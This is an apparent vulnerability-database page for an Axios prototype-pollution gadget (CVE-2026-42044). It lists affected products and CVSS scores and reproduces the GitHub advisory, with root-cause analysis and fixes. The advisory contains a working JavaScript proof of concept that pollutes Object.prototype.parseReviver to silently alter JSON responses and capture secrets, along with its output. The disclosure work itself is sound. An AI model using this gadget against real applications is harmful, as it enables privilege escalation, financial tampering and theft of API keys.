6.5medium
Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
- Severity
- 6.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.64% (higher than 51% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-3w6x-2g7m-8v23
Description
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| axios axios | >= 1.0.0, < 1.15.2, from 1.0.0 before 1.15.1 | CVE List, NVD |
| axios | Not specified | CVE List |
| automation-gateway | Not specified Not affected: from 0:2.5.20260715-1.el8ap before *, from 0:2.5.20260715-1.el9ap before * | CVE List |
| multicluster-engine/console-mce-rhel9 | Not specified Not affected: from 1780917531 before *, from 1780910888 before *, from 1778511348 before *, from 1778383863 before *, from 1778532610 before * | CVE List |
| network-observability/network-observability-console-plugin-pf4-rhel9 | Not specified Not affected: from 1780920979 before * | CVE List |
| network-observability/network-observability-console-plugin-rhel9 | Not specified Not affected: from 1780556069 before * | CVE List |
| rhacm2/console-rhel9 | Not specified Not affected: from 1783451729 before *, from 1780876734 before *, from 1780600823 before * | CVE List |
| advanced-cluster-security/rhacs-main-rhel8 | Not specified Not affected: from 1779371594 before *, from 1779293013 before * | CVE List |
| container-native-virtualization/kubevirt-console-plugin-rhel9 | Not specified Not affected: from 1782917983 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified Not affected: from 1779841586 before *, from 1782761244 before * | CVE List |
| discovery/discovery-ui-rhel9 | Not specified Not affected: from 1779395188 before * | CVE List |
| rhmtc/openshift-migration-ui-rhel8 | Not specified Not affected: from 1780590717 before * | CVE List |
| mta/mta-ui-rhel9 | Not specified Not affected: from 1785169013 before * | CVE List |
| devspaces/code-rhel9 | Not specified Not affected: from 1779814592 before * | CVE List |
| devspaces/dashboard-rhel9 | Not specified Not affected: from 1779341289 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel8 | Not specified Not affected: from 1779520355 before * | CVE List |
| openshift-service-mesh/kiali-rhel8 | Not specified Not affected: from 1779520348 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel9 | Not specified Not affected: from 1778163785 before *, from 1778163935 before *, from 1778163792 before * | CVE List |
| openshift-service-mesh/kiali-rhel9 | Not specified Not affected: from 1778164208 before *, from 1778164042 before *, from 1778163909 before *, from 1778163986 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1779822261 before *, from 1779811412 before *, from 1779689392 before *, from 1780891395 before *, from 1779811473 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1779204086 before *, from 1783955846 before *, from 1779922205 before * | CVE List |
| satellite/iop-advisor-frontend-rhel9 | Not specified Not affected: from 1781181673 before * | CVE List |
| satellite/iop-vulnerability-frontend-rhel9 | Not specified Not affected: from 1781032495 before * | CVE List |
| satellite/iop-host-inventory-frontend-rhel9 | Not specified Not affected: from 1780105179 before * | CVE List |
| rhtas/rhtas-console-ui-rhel9 | Not specified Not affected: from 1779971506 before * | CVE List |
| gatekeeper/gatekeeper-rhel9 | Not specified | CVE List |
| mta/mta-ui-rhel8 | Not specified | CVE List |
| network-observability/network-observability-console-plugin-compat-rhel9 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel8 | Not specified | CVE List |
| openshift-pipelines/pipelines-hub-ui-rhel9 | Not specified | CVE List |
| openshift-service-mesh/kiali-operator-bundle | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| 3scale-amp21/system | Not specified | CVE List |
| 3scale-amp22/system | Not specified | CVE List |
| 3scale-amp2/system-rhel7 | Not specified | CVE List |
| 3scale-amp2/system-rhel8 | Not specified | CVE List |
| 3scale-amp2/system-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/gateway-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-dashboard-rhel9 | Not specified | CVE List |
| automation-controller | Not specified | CVE List |
| automation-hub | Not specified | CVE List |
| automation-platform-ui | Not specified | CVE List |
| python3.11-galaxy-ng | Not specified | CVE List |
| python3.12-galaxy-ng | Not specified | CVE List |
| python3x-galaxy-ng | Not specified | CVE List |
| python-galaxy-ng | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel8 | Not specified | CVE List |
| apicurio/apicurio-registry-ui-rhel9 | Not specified | CVE List |
| rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10 | Not specified | CVE List |
| rhdh/backstage-community-plugin-catalog-backend-module-scaffolder-relation-processor | Not specified | CVE List |
| grafana | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-rocm-rhel9 | Not specified | CVE List |
| rhelai3/disk-image-cuda-rhel9 | Not specified | CVE List |
| boost | Not specified | CVE List |
| rhoai/odh-dashboard-rhel8 | Not specified | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-maas-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified | CVE List |
| openshift3/ose-console | Not specified | CVE List |
| openshift4/ose-agent-installer-ui-rhel9 | Not specified | CVE List |
| openshift4/ose-console | Not specified | CVE List |
| openshift4/ose-console-rhel9 | Not specified | CVE List |
| openshift4/ose-monitoring-plugin-rhel9 | Not specified | CVE List |
| container-native-virtualization/kubevirt-console-plugin | Not specified | CVE List |
| rhtpa/rhtpa-trustification-service-rhel9 | Not specified | CVE List |
| ansible-automation-platform/automation-portal | Not specified | CVE List |
| axios (npm) | from 1.0.0 before 1.15.2 | GitHub Advisory Database |
All scores
| GitHub_M | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N |
| redhat-SADP | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N |
| NVD | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Classification
What each source says
CVE List
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2.
GitHub Advisory Database
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
- No constraints — the reviver can return any value (no "must return true" requirement)
- Selective modification — individual JSON keys can be changed while others remain untouched
- Invisible — the response structure and most values look completely normal
- Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true | None | None |
| Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates | Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
-
Not in defaults (
lib/defaults/index.js):parseReviveris not defined in the defaults object, somergeConfig'sObject.keys({...defaults, ...userConfig})iteration never encounters it. The merged config has no ownparseReviverproperty. -
Not in assertOptions schema (
lib/core/Axios.js:135-142): The schema only contains{baseUrl, withXsrfToken}.parseReviveris not validated. -
No type check: The
JSON.parseAPI accepts any function as a reviver. There is no check thatthis.parseReviveris intentionally set. -
Works INSIDE the default transform: Unlike
transformResponsepollution (which replaces the entire transform and is caught byassertOptions),parseReviverpollution injects into the DEFAULTtransformResponsefunction'sJSON.parsecall. The default function itself is not replaced, soassertOptionshas nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
Proof of Concept
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true |
| axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception |
| axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
- Different polluted properties: Each targets a different
Object.prototypekey. - Different code paths:
transformResponseenters viamergeConfig;proxyis read directly byhttp.js;parseReviveris read inside the defaulttransformResponsefunction'sJSON.parsecall. - Different fix locations: Fixing
mergeConfig.js(axios_26) does NOT fixdefaults/index.js:124(this vulnerability). Fixinghttp.js:670(axios_30) does NOT fix this either. Each requires a separate patch. - Different impact profiles:
transformResponseis constrained to returntrue;proxyrequires a proxy server;parseReviverenables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- MDN: JSON.parse reviver
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
NVD (es)
Axios es un cliente HTTP basado en promesas para el navegador y Node.js. Desde la versión 1.0.0 hasta antes de la 1.15.2, la biblioteca Axios es vulnerable a un ataque de ’Gadget’ de Contaminación de Prototipos que permite que cualquier contaminación de Object.prototype en el árbol de dependencias de la aplicación se escale a una modificación quirúrgica e invisible de todas las respuestas de la API JSON - incluyendo escalada de privilegios, manipulación de saldos y bypass de autorización. La función transformResponse predeterminada en lib/defaults/index.js:124 llama a JSON.parse(data, this.parseReviver), donde this es el objeto de configuración fusionado. Debido a que parseReviver no está presente en los valores predeterminados de Axios, no es validado por assertOptions y no está sujeto a ninguna restricción, una función Object.prototype.parseReviver contaminada es llamada para cada par clave-valor en cada respuesta JSON, permitiendo al atacante modificar selectivamente valores individuales mientras deja el resto de la respuesta intacto. Esta vulnerabilidad se corrige en la versión 1.15.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42044 changed 2026-09-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-3w6x-2g7m-8v23 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-42044 changed 2026-11-11 | Public domain |